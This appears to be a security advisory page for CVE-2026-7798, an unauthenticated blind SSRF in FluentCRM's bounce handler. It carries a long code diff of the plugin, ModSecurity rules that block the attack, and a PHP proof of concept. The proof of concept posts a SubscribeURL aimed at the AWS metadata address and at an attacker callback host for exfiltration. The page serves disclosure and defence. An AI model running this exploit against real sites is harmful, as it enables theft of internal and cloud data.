+    private function askAndShowFiredHooks($firedHooks)
+    {
+        if (empty($firedHooks)) {
+            return;
+        }
+
+        // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fwrite
+        fwrite(STDOUT, sprintf('Show fired hooks? (%d hooks) (yes/no): ', count($firedHooks)));
+        $answer = strtolower(trim(fgets(STDIN)));
+
+        if ($answer !== 'yes' && $answer !== 'y') {
+            return;
+        }
+
+        WP_CLI::line('Fired hooks:');
+        foreach ($firedHooks as $hook => $count) {
+            $suffix = $count > 1 ? sprintf(' (x%d)', $count) : '';
+            WP_CLI::line(sprintf('  > %s%s', $hook, $suffix));
+        }
+    }
+
+    private function showFinalStatus($funnelId, $subscriberId, $funnelSubId)
+    {
+        $funnelSub = $funnelSubId ? FunnelSubscriber::find($funnelSubId) : null;
+        $totalMetrics = FunnelMetric::where('funnel_id', $funnelId)
+            ->where('subscriber_id', $subscriberId)
+            ->count();
+
+        WP_CLI::line('---');
+        WP_CLI::line(sprintf('Final status: %s', $funnelSub ? $funnelSub->status : 'unknown'));
+        WP_CLI::line(sprintf('Total actions executed: %d', $totalMetrics));
+    }
+
+    private function printFunnelSteps($funnelId)
+    {
+        $sequences = FunnelSequence::where('funnel_id', $funnelId)
+            ->orderBy('sequence', 'ASC')
+            ->get();
+
+        if ($sequences->isEmpty()) {
+            WP_CLI::line('No steps in this funnel.');
+            WP_CLI::line('---');
+            return;
+        }
+
+        // Group children by parent_id and condition_type
+        $topLevel = [];
+        $children = []; // $children[$parentId][$conditionType][]
+        foreach ($sequences as $seq) {
+            if (!$seq->parent_id) {
+                $topLevel[] = $seq;
+            } else {
+                $children[$seq->parent_id][$seq->condition_type][] = $seq;
+            }
+        }
+
+        WP_CLI::line('Funnel steps:');
+        $this->printSequenceList($topLevel, $children, '  ');
+        WP_CLI::line('---');
+    }
+
+    private function printSequenceList($sequences, $children, $indent)
+    {
+        $count = count($sequences);
+        foreach ($sequences as $i => $seq) {
+            $label = $this->formatSequenceLabel($seq);
+            $isLast = ($i === $count - 1);
+            $connector = $isLast ? '└─' : '├─';
+            WP_CLI::line($indent . $connector . ' ' . $label);
+
+            // If conditional/ab-test, print branches
+            if ($seq->type === 'conditional' && isset($children[$seq->id])) {
+                $childIndent = $indent . ($isLast ? '   ' : '│  ');
+                $branches = $children[$seq->id];
+
+                if (isset($branches['yes'])) {
+                    WP_CLI::line($childIndent . '├─ [YES]:');
+                    $this->printSequenceList($branches['yes'], $children, $childIndent . '│  ');
+                }
+                if (isset($branches['no'])) {
+                    WP_CLI::line($childIndent . '└─ [NO]:');
+                    $this->printSequenceList($branches['no'], $children, $childIndent . '   ');
+                }
+            }
+        }
+    }
+
+    private function formatSequenceLabel($seq)
+    {
+        $type = $seq->type ?: 'action';
+        $title = $seq->title ?: $seq->action_name;
+
+        if ($seq->action_name === 'fluentcrm_wait_times') {
+            $wait = $this->formatWaitTime($seq->settings);
+            return sprintf('(%s) %s — %s', $type, $title, $wait);
+        }
+
+        if ($seq->action_name === 'end_this_funnel') {
+            return sprintf('(%s) End Funnel', $type);
+        }
+
+        return sprintf('(%s) %s', $type, $title);
+    }
+
+    private function formatWaitTime($settings)
+    {
+        if (!is_array($settings)) {
+            return '';
+        }
+
+        $waitType = $settings['wait_type'] ?? '';
+
+        if ($waitType === 'timestamp_wait') {
+            return 'until ' . ($settings['wait_date_time'] ?? '?');
+        }
+
+        if ($waitType === 'to_day') {
+            $day = $settings['wait_day_of_week'] ?? '?';
+            $time = $settings['wait_time_of_day'] ?? '';
+            return sprintf('next %s%s', $day, $time ? ' at ' . $time : '');
+        }
+
+        if ($waitType === 'by_custom_field') {
+            return 'until custom field date';
+        }
+
+        $amount = $settings['wait_time_amount'] ?? '?';
+        $unit = $settings['wait_time_unit'] ?? 'days';
+        return sprintf('%s %s', $amount, $unit);
+    }
+}
--- a/fluent-crm/app/Hooks/Handlers/AdminBar.php
+++ b/fluent-crm/app/Hooks/Handlers/AdminBar.php
@@ -24,24 +24,22 @@
         $contactPermission = PermissionManager::currentUserCan('fcrm_read_contacts');

         /**
-         * Determine whether the FluentCRM global search is enabled or not.
+         * Determine whether the FluentCRM admin bar search is enabled or not.
          *
-         * @return bool False Default is false or disabled.
+         * @return bool False Default is false or disabled.
          */
-        if ( !is_admin() || !$contactPermission || apply_filters('fluent_crm/disable_global_search', false) ) {
+        if (!is_admin() || !$contactPermission || apply_filters('fluent_crm/disable_adminbar_search', apply_filters('fluent_crm/disable_global_search', false))) {
             return;
         }

-        add_action('admin_bar_menu', [$this, 'addGlobalSearch'], 999);
-
+        add_action('admin_bar_menu', [$this, 'addAdminBarSearch'], 999);
     }

-    public function addGlobalSearch($adminBar)
+    public function addAdminBarSearch($adminBar)
     {
-
         wp_enqueue_script(
-            'fluentcrm_global_search',
-            fluentCrmMix('/admin/js/global-search.js'),
+            'fluentcrm_adminbar_search',
+            fluentCrmMix('/admin/js/adminbar-search.js'),
             ['jquery']
         );

@@ -68,7 +66,7 @@
             }
         }

-        wp_localize_script('fluentcrm_global_search', 'fc_bar_vars', [
+        wp_localize_script('fluentcrm_adminbar_search', 'fcrm_adminbar_search_vars', [
             'rest'            => $this->getRestInfo(),
             'links'           => (new Stats)->getQuickLinks(),
             'subscriber_base' => $urlBase . 'subscribers/',
@@ -79,13 +77,14 @@
                 'Type to search contacts' => __('Type to search contacts', 'fluent-crm'),
                 'Quick Links' => __('Quick Links', 'fluent-crm'),
                 'Sorry no contact found' => __('Sorry no contact found', 'fluent-crm'),
-                'Load More' => __('Load More', 'fluent-crm')
+                'Load More' => __('Load More', 'fluent-crm'),
+                'Close' => __('Close', 'fluent-crm')
             ]
         ]);

         $args = [
             'parent' => 'top-secondary',
-            'id'     => 'fc_global_search',
+            'id'     => 'fcrm_adminbar_search',
             'title'  => __('Search Contacts', 'fluent-crm'),
             'href'   => '#',
             'meta'   => false
--- a/fluent-crm/app/Hooks/Handlers/AdminMenu.php
+++ b/fluent-crm/app/Hooks/Handlers/AdminMenu.php
@@ -3,8 +3,6 @@
 namespace FluentCrmAppHooksHandlers;

 use FluentCrmAppModelsLists;
-use FluentCrmAppModelsMeta;
-use FluentCrmAppModelsSubscriber;
 use FluentCrmAppModelsTag;
 use FluentCrmAppServicesHelper;
 use FluentCrmAppServicesPermissionManager;
@@ -32,7 +30,6 @@

         if (isset($_GET['page']) && $_GET['page'] == 'fluentcrm-admin' && is_admin()) {
             $this->mayBeRedirect();
-            $this->maybeInitExperimentalNavigation();

             // Maybe we have to update the database tables
             UpgradationHandler::maybeUpdateDbTables();
@@ -50,11 +47,14 @@
             return;
         }

-        $dashboardPermission = 'fcrm_view_dashboard';
         $isAdmin = false;
         if (in_array('administrator', $permissions)) {
             $dashboardPermission = 'manage_options';
             $isAdmin = true;
+        } else {
+            $user = get_user_by('ID', get_current_user_id());
+            $roles = array_values((array)$user->roles);
+            $dashboardPermission = Arr::get($roles, 0);
         }

         $title = __('FluentCRM', 'fluent-crm');
@@ -80,45 +80,49 @@
             array($this, 'render')
         );

-        add_submenu_page(
-            'fluentcrm-admin',
-            __('Contacts', 'fluent-crm'),
-            __('Contacts', 'fluent-crm'),
-            ($isAdmin) ? $dashboardPermission : 'fcrm_read_contacts',
-            'fluentcrm-admin#/subscribers',
-            array($this, 'render')
-        );

-        if (in_array('fcrm_read_contacts', $permissions)) {
-            if (Helper::isCompanyEnabled()) {
-                add_submenu_page(
-                    'fluentcrm-admin',
-                    __('Companies', 'fluent-crm'),
-                    __('Companies', 'fluent-crm'),
-                    ($isAdmin) ? $dashboardPermission : 'fcrm_manage_contact_cats',
-                    'fluentcrm-admin#/contact-groups/companies',
-                    array($this, 'render')
-                );
-            }

+        if (in_array('fcrm_read_contacts', $permissions)) {
             add_submenu_page(
                 'fluentcrm-admin',
-                __('Lists', 'fluent-crm'),
-                __('Lists', 'fluent-crm'),
-                ($isAdmin) ? $dashboardPermission : 'fcrm_manage_contact_cats',
-                'fluentcrm-admin#/contact-groups/lists',
+                __('Contacts', 'fluent-crm'),
+                __('Contacts', 'fluent-crm'),
+                $dashboardPermission,
+                'fluentcrm-admin#/subscribers',
                 array($this, 'render')
             );

-            add_submenu_page(
-                'fluentcrm-admin',
-                __('Tags', 'fluent-crm'),
-                __('Tags', 'fluent-crm'),
-                ($isAdmin) ? $dashboardPermission : 'fcrm_manage_contact_cats',
-                'fluentcrm-admin#/contact-groups/tags',
-                array($this, 'render')
-            );

+            if (in_array('fcrm_manage_contact_cats', $permissions)) {
+                if (Helper::isCompanyEnabled()) {
+                    add_submenu_page(
+                        'fluentcrm-admin',
+                        __('Companies', 'fluent-crm'),
+                        __('Companies', 'fluent-crm'),
+                        $dashboardPermission,
+                        'fluentcrm-admin#/contact-groups/companies',
+                        array($this, 'render')
+                    );
+                }
+
+                add_submenu_page(
+                    'fluentcrm-admin',
+                    __('Lists', 'fluent-crm'),
+                    __('Lists', 'fluent-crm'),
+                    $dashboardPermission,
+                    'fluentcrm-admin#/contact-groups/lists',
+                    array($this, 'render')
+                );
+
+                add_submenu_page(
+                    'fluentcrm-admin',
+                    __('Tags', 'fluent-crm'),
+                    __('Tags', 'fluent-crm'),
+                    $dashboardPermission,
+                    'fluentcrm-admin#/contact-groups/tags',
+                    array($this, 'render')
+                );
+            }
         }

         if (in_array('fcrm_read_emails', $permissions)) {
@@ -126,7 +130,7 @@
                 'fluentcrm-admin',
                 __('Campaigns', 'fluent-crm'),
                 __('Campaigns', 'fluent-crm'),
-                ($isAdmin) ? $dashboardPermission : 'fcrm_read_emails',
+                $dashboardPermission,
                 'fluentcrm-admin#/email/campaigns',
                 array($this, 'render')
             );
@@ -135,7 +139,7 @@
                 'fluentcrm-admin',
                 __('Recurring Campaigns', 'fluent-crm'),
                 __('Recurring Campaigns', 'fluent-crm'),
-                ($isAdmin) ? $dashboardPermission : 'fcrm_read_emails',
+                $dashboardPermission,
                 'fluentcrm-admin#/email/recurring-campaigns',
                 array($this, 'render')
             );
@@ -144,7 +148,7 @@
                 'fluentcrm-admin',
                 __('Email Sequences', 'fluent-crm'),
                 __('Email Sequences', 'fluent-crm'),
-                ($isAdmin) ? $dashboardPermission : 'fcrm_read_emails',
+                $dashboardPermission,
                 'fluentcrm-admin#/email/sequences',
                 array($this, 'render')
             );
@@ -153,7 +157,7 @@
                 'fluentcrm-admin',
                 __('Email Templates', 'fluent-crm'),
                 __('Email Templates', 'fluent-crm'),
-                ($isAdmin) ? $dashboardPermission : 'fcrm_read_emails',
+                $dashboardPermission,
                 'fluentcrm-admin#/email/templates',
                 array($this, 'render')
             );
@@ -164,7 +168,7 @@
                 'fluentcrm-admin',
                 __('Forms', 'fluent-crm'),
                 __('Forms', 'fluent-crm'),
-                ($isAdmin) ? $dashboardPermission : 'fcrm_manage_forms',
+                $dashboardPermission,
                 'fluentcrm-admin#/forms',
                 array($this, 'render')
             );
@@ -175,7 +179,7 @@
                 'fluentcrm-admin',
                 __('Automations', 'fluent-crm'),
                 __('Automations', 'fluent-crm'),
-                ($isAdmin) ? $dashboardPermission : 'fcrm_read_funnels',
+                $dashboardPermission,
                 'fluentcrm-admin#/funnels',
                 array($this, 'render')
             );
@@ -189,7 +193,7 @@
                 'fluentcrm-admin',
                 __('Settings', 'fluent-crm'),
                 __('Settings', 'fluent-crm'),
-                ($isAdmin) ? $dashboardPermission : 'fcrm_manage_settings',
+                $dashboardPermission,
                 'fluentcrm-admin#/settings',
                 array($this, 'render')
             );
@@ -198,7 +202,7 @@
                 'fluentcrm-admin',
                 __('Reports', 'fluent-crm'),
                 __('Reports', 'fluent-crm'),
-                ($isAdmin) ? $dashboardPermission : 'fcrm_manage_settings',
+                $dashboardPermission,
                 'fluentcrm-admin#/reports',
                 array($this, 'render')
             );
@@ -207,7 +211,7 @@
                 'fluentcrm-admin',
                 __('Addons', 'fluent-crm'),
                 __('Addons', 'fluent-crm'),
-                ($isAdmin) ? $dashboardPermission : 'fcrm_manage_settings',
+                $dashboardPermission,
                 'fluentcrm-admin#/add-ons',
                 array($this, 'render')
             );
@@ -218,7 +222,7 @@
                 'fluentcrm-admin',
                 __('SMTP', 'fluent-crm'),
                 __('SMTP', 'fluent-crm'),
-                ($isAdmin) ? $dashboardPermission : 'fcrm_view_dashboard',
+                $dashboardPermission,
                 'fluentcrm-admin#/settings/smtp_settings',
                 array($this, 'render')
             );
@@ -229,7 +233,7 @@
                 'fluentcrm-admin',
                 __('Help', 'fluent-crm'),
                 __('Help', 'fluent-crm'),
-                ($isAdmin) ? $dashboardPermission : 'fcrm_view_dashboard',
+                $dashboardPermission,
                 'fluentcrm-admin#/documentation',
                 array($this, 'render')
             );
@@ -249,19 +253,35 @@

         wp_enqueue_script(
             'fluentcrm_admin_app_start',
-            fluentCrmMix('/admin/js/start.js'),
+            fluentCrmMix('/admin/js/app.js'),
             array('fluentcrm_admin_app_boot'),
             $this->version
         );

+        /**
+         * Controls whether the FluentCRM admin top menu bar should be rendered.
+         *
+         * @param bool $renderTopMenuBar Whether to render the top menu bar.
+         */
+        $renderTopMenuBar = apply_filters('fluent_crm/render_top_menu_bar', true);
+
         $urlBase = fluentcrm_menu_url_base();

         $menuItems = $this->getMenuItems($urlBase);

-        $app['view']->render('admin.menu_page', [
-            'menuItems' => $menuItems,
-            'logo'      => FLUENTCRM_PLUGIN_URL . 'assets/images/fluentcrm-logo.svg',
-            'base_url'  => $urlBase
+        $proData = [
+            'label'     => __('Upgrade to Pro', 'fluent-crm'),
+            'permalink' => 'https://fluentcrm.com?utm_source=dashboard&utm_medium=plugin&utm_campaign=pro&utm_id=wp',
+            'has_pro'   => defined('FLUENTCAMPAIGN')
+        ];
+
+        $app['view']->render('admin.new_menu_page', [
+            'menuItems'   => $menuItems,
+            'settingsUrl' => $urlBase . 'settings',
+            'logo'        => FLUENTCRM_PLUGIN_URL . 'assets/images/fluentcrm-logo.svg',
+            'base_url'    => $urlBase,
+            'proData'          => $proData,
+            'renderTopMenuBar' => $renderTopMenuBar
         ]);
     }

@@ -273,21 +293,21 @@
             if (!defined('DISABLE_WP_CRON')) {
                 $doc_url = 'https://fluentcrm.com/docs/fluentcrm-cron-job-basics-and-checklist/';
                 $extraHtml = ' ' . sprintf(
-                    wp_kses(
+                        wp_kses(
                         /* translators: %1$s: Opening <a> tag linking to FluentCRM cron job docs. %2$s: Closing </a> tag. */
-                        __('Server-Side Cron Job is not enabled %1$sView Documentation%2$s.', 'fluent-crm'),
-                        array(
-                            'a' => array(
-                                'href'   => array(),
-                                'target' => array(),
-                                'rel'    => array(),
-                                'style'  => array(),
+                            __('Server-Side Cron Job is not enabled %1$sView Documentation%2$s.', 'fluent-crm'),
+                            array(
+                                'a' => array(
+                                    'href'   => array(),
+                                    'target' => array(),
+                                    'rel'    => array(),
+                                    'style'  => array(),
+                                )
                             )
-                        )
-                    ),
-                    '<a style="font-weight: 500;" target="_blank" rel="noopener" href="' . esc_url($doc_url) . '">',
-                    '</a>'
-                );
+                        ),
+                        '<a style="font-weight: 500;" target="_blank" rel="noopener" href="' . esc_url($doc_url) . '">',
+                        '</a>'
+                    );
             }
             /* translators: %s: the FluentCRM website URL (used in the href of the link) */
             return sprintf(wp_kses(__('Thank you for using <a href="%s">FluentCRM</a>.', 'fluent-crm'), array('a' => array('href' => array()))), esc_url($url)) . '<span title="based on your WP timezone settings" style="margin-left: 10px;" data-timestamp="' . current_time('timestamp') . '" id="fc_server_timestamp"></span>. ' . $extraHtml;
@@ -307,6 +327,7 @@
             $urlBase = fluentcrm_menu_url_base();
         }

+
         $permissions = PermissionManager::currentUserPermissions();

         $menuItems = [
@@ -322,45 +343,61 @@
                 'key'          => 'contacts',
                 'label'        => __('Contacts', 'fluent-crm'),
                 'permalink'    => $urlBase . 'subscribers',
-                'layout_class' => 'fc_2_col_menu',
+                'layout_class' => 'fc_1_col_menu',
                 'sub_items'    => [
                     [
                         'key'         => 'all_contacts',
                         'label'       => __('All Contacts', 'fluent-crm'),
                         'permalink'   => $urlBase . 'subscribers',
-                        'description' => __('Browse all your subscribers and customers', 'fluent-crm')
+                        'description' => __('Browse all your subscribers and customers', 'fluent-crm'),
+                        'icon'        => '<svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg">
+                        <path d="M5 3.75C4.65482 3.75 4.375 4.02982 4.375 4.375V5.625H5.625V5H14.375V15H5.625V14.375H4.375V15.625C4.375 15.9702 4.65482 16.25 5 16.25H15C15.3452 16.25 15.625 15.9702 15.625 15.625V4.375C15.625 4.02982 15.3452 3.75 15 3.75H5ZM8.125 12.5C8.125 11.4644 8.96444 10.625 10 10.625C11.0356 10.625 11.875 11.4644 11.875 12.5H8.125ZM10 10C9.30963 10 8.75 9.44037 8.75 8.75C8.75 8.05964 9.30963 7.5 10 7.5C10.6904 7.5 11.25 8.05964 11.25 8.75C11.25 9.44037 10.6904 10 10 10ZM6.25 8.125V6.875H3.75V8.125H6.25ZM6.25 9.375V10.625H3.75V9.375H6.25ZM6.25 13.125V11.875H3.75V13.125H6.25Z" fill="currentColor"/>
+                        </svg>'
                     ]
                 ]
             ];

             if (in_array('fcrm_manage_contact_cats', $permissions)) {

-                if (Helper::isCompanyEnabled()) {
-                    $contactMenu['sub_items'][] = [
-                        'key'         => 'companies',
-                        'label'       => __('Companies', 'fluent-crm'),
-                        'permalink'   => $urlBase . 'contact-groups/companies',
-                        'description' => __('Browse and Manage contact business/companies', 'fluent-crm')
-                    ];
-                }
-
                 $contactMenu['sub_items'][] = [
                     'key'         => 'lists',
                     'label'       => __('Lists', 'fluent-crm'),
                     'permalink'   => $urlBase . 'contact-groups/lists',
-                    'description' => __('Browse and Manage your lists associate with contact', 'fluent-crm')
+                    'description' => __('Browse and Manage your lists associate with contact', 'fluent-crm'),
+                    'icon'        => '<svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg">
+                        <path d="M7 4H16.75V5.5H7V4ZM4.375 5.875C4.07663 5.875 3.79048 5.75647 3.5795 5.5455C3.36853 5.33452 3.25 5.04837 3.25 4.75C3.25 4.45163 3.36853 4.16548 3.5795 3.9545C3.79048 3.74353 4.07663 3.625 4.375 3.625C4.67337 3.625 4.95952 3.74353 5.1705 3.9545C5.38147 4.16548 5.5 4.45163 5.5 4.75C5.5 5.04837 5.38147 5.33452 5.1705 5.5455C4.95952 5.75647 4.67337 5.875 4.375 5.875ZM4.375 11.125C4.07663 11.125 3.79048 11.0065 3.5795 10.7955C3.36853 10.5845 3.25 10.2984 3.25 10C3.25 9.70163 3.36853 9.41548 3.5795 9.2045C3.79048 8.99353 4.07663 8.875 4.375 8.875C4.67337 8.875 4.95952 8.99353 5.1705 9.2045C5.38147 9.41548 5.5 9.70163 5.5 10C5.5 10.2984 5.38147 10.5845 5.1705 10.7955C4.95952 11.0065 4.67337 11.125 4.375 11.125ZM4.375 16.3C4.07663 16.3 3.79048 16.1815 3.5795 15.9705C3.36853 15.7595 3.25 15.4734 3.25 15.175C3.25 14.8766 3.36853 14.5905 3.5795 14.3795C3.79048 14.1685 4.07663 14.05 4.375 14.05C4.67337 14.05 4.95952 14.1685 5.1705 14.3795C5.38147 14.5905 5.5 14.8766 5.5 15.175C5.5 15.4734 5.38147 15.7595 5.1705 15.9705C4.95952 16.1815 4.67337 16.3 4.375 16.3ZM7 9.25H16.75V10.75H7V9.25ZM7 14.5H16.75V16H7V14.5Z" fill="currentColor"/>
+                        </svg>'
                 ];
                 $contactMenu['sub_items'][] = [
                     'key'         => 'tags',
                     'label'       => __('Tags', 'fluent-crm'),
                     'permalink'   => $urlBase . 'contact-groups/tags',
-                    'description' => __('Browse and Manage your tags associate with contact', 'fluent-crm')
+                    'description' => __('Browse and Manage your tags associate with contact', 'fluent-crm'),
+                    'icon'        => '<svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M9.17489 2.57495L16.5991 3.6362L17.6596 11.0612L10.7656 17.9552C10.625 18.0958 10.4343 18.1748 10.2354 18.1748C10.0365 18.1748 9.84578 18.0958 9.70514 17.9552L2.28014 10.5302C2.13953 10.3896 2.06055 10.1988 2.06055 9.99995C2.06055 9.80108 2.13953 9.61035 2.28014 9.4697L9.17489 2.57495ZM9.70514 4.16645L3.87089 9.99995L10.2354 16.3637L16.0689 10.5302L15.2739 4.96145L9.70514 4.16645ZM11.2951 8.93945C11.0138 8.65799 10.8557 8.27629 10.8558 7.87831C10.8559 7.68125 10.8947 7.48613 10.9701 7.30409C11.0456 7.12204 11.1561 6.95664 11.2955 6.81733C11.4349 6.67801 11.6003 6.56751 11.7824 6.49213C11.9645 6.41675 12.1596 6.37797 12.3567 6.37801C12.7546 6.37808 13.1363 6.53624 13.4176 6.8177C13.699 7.09916 13.857 7.48087 13.857 7.87884C13.8569 8.27682 13.6987 8.65846 13.4173 8.93983C13.1358 9.22119 12.7541 9.37921 12.3561 9.37914C11.9581 9.37907 11.5765 9.22091 11.2951 8.93945Z" fill="currentColor"/>
+</svg>'
                 ];
+
+                if (Helper::isCompanyEnabled()) {
+                    $contactMenu['sub_items'][] = [
+                        'key'         => 'companies',
+                        'label'       => __('Companies', 'fluent-crm'),
+                        'permalink'   => $urlBase . 'contact-groups/companies',
+                        'description' => __('Browse and Manage contact business/companies', 'fluent-crm'),
+                        'icon'        => '<svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M16.75 15.25H18.25V16.75H1.75V15.25H3.25V4C3.25 3.80109 3.32902 3.61032 3.46967 3.46967C3.61032 3.32902 3.80109 3.25 4 3.25H11.5C11.6989 3.25 11.8897 3.32902 12.0303 3.46967C12.171 3.61032 12.25 3.80109 12.25 4V15.25H15.25V9.25H13.75V7.75H16C16.1989 7.75 16.3897 7.82902 16.5303 7.96967C16.671 8.11032 16.75 8.30109 16.75 8.5V15.25ZM4.75 4.75V15.25H10.75V4.75H4.75ZM6.25 9.25H9.25V10.75H6.25V9.25ZM6.25 6.25H9.25V7.75H6.25V6.25Z" fill="currentColor"/>
+</svg>'
+                    ];
+                }
+
                 $contactMenu['sub_items'][] = [
                     'key'         => 'dynamic_segments',
                     'label'       => __('Segments', 'fluent-crm'),
                     'permalink'   => $urlBase . 'contact-groups/dynamic-segments',
-                    'description' => __('Manage your dynamic contact segments', 'fluent-crm')
+                    'description' => __('Manage your dynamic contact segments', 'fluent-crm'),
+                    'icon'        => '<svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg">
+                            <path d="M10 11.5V13C8.80653 13 7.66193 13.4741 6.81802 14.318C5.97411 15.1619 5.5 16.3065 5.5 17.5H4C4 15.9087 4.63214 14.3826 5.75736 13.2574C6.88258 12.1321 8.4087 11.5 10 11.5V11.5ZM10 10.75C7.51375 10.75 5.5 8.73625 5.5 6.25C5.5 3.76375 7.51375 1.75 10 1.75C12.4862 1.75 14.5 3.76375 14.5 6.25C14.5 8.73625 12.4862 10.75 10 10.75ZM10 9.25C11.6575 9.25 13 7.9075 13 6.25C13 4.5925 11.6575 3.25 10 3.25C8.3425 3.25 7 4.5925 7 6.25C7 7.9075 8.3425 9.25 10 9.25ZM11.9462 15.109C11.8512 14.7088 11.8512 14.2919 11.9462 13.8917L11.2022 13.462L11.9522 12.163L12.6962 12.5927C12.9949 12.3099 13.3558 12.1013 13.75 11.9838V11.125H15.25V11.9838C15.649 12.1023 16.009 12.3137 16.3037 12.5927L17.0477 12.163L17.7977 13.462L17.0537 13.8917C17.1487 14.2917 17.1487 14.7083 17.0537 15.1083L17.7977 15.538L17.0477 16.837L16.3037 16.4072C16.0051 16.6901 15.6442 16.8987 15.25 17.0162V17.875H13.75V17.0162C13.3558 16.8987 12.9949 16.6901 12.6962 16.4072L11.9522 16.837L11.2022 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-7798
# Blocks unauthenticated SSRF via SubscribeURL parameter in FluentCRM bounce handler
SecRule REQUEST_URI "@rx ^/wp-json/fluent-crm/v[12]/bounce-handler$" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-7798 FluentCRM SSRF via SubscribeURL',severity:'CRITICAL',tag:'CVE-2026-7798'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:Type "@streq SubscriptionConfirmation" "chain"
SecRule ARGS_POST:SubscribeURL "@rx ^https?://[^/]+" "t:none"

# Alternative rule for AJAX-based vulnerability (if REST API not used)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-7798 FluentCRM SSRF via SubscribeURL AJAX',severity:'CRITICAL',tag:'CVE-2026-7798'"
SecRule ARGS_POST:action "@streq fluentcrm_ses_bounce" "chain"
SecRule ARGS_POST:Type "@streq SubscriptionConfirmation" "chain"
SecRule ARGS_POST:SubscribeURL "@rx ^https?://[^/]+" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7798 - FluentCRM <= 2.9.87 - Unauthenticated Blind Server-Side Request Forgery via 'SubscribeURL' Parameter

<?php

// Configuration
$target_url = 'http://example.com'; // Replace with the target WordPress site URL
$attacker_callback = 'http://attacker-controlled-server.com/exfil'; // Replace with your callback listener

// Step 1: Discover the vulnerable endpoint
// The vulnerability exists in the SES bounce handling webhook.
// Typically accessible via REST API: /wp-json/fluent-crm/v1/bounce-handler or similar
// or via AJAX: /wp-admin/admin-ajax.php?action=fluentcrm_ses_bounce

// Step 2: Send a request with a malicious SubscribeURL pointing to an internal service
// For AWS metadata endpoint (classic SSRF target):
$internal_url = 'http://169.254.169.254/latest/meta-data/';

// cURL request to trigger the SSRF
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/fluent-crm/v1/bounce-handler');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'Type' => 'SubscriptionConfirmation',
    'SubscribeURL' => $attacker_callback . '?data=' . urlencode($internal_url), // URL pointing to internal service or attacker callback
    'Token' => 'test',
    'TopicArn' => 'arn:aws:sns:us-east-1:123456789012:test'
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'X-Amz-Sns-Message-Type: Notification'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: " . $http_code . "n";
echo "Response Body: " . $response . "n";

// Step 3: Check your callback server for incoming requests
// If the SSRF was successful, you should see a request from the target server
// containing the exfiltrated data from the internal endpoint.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School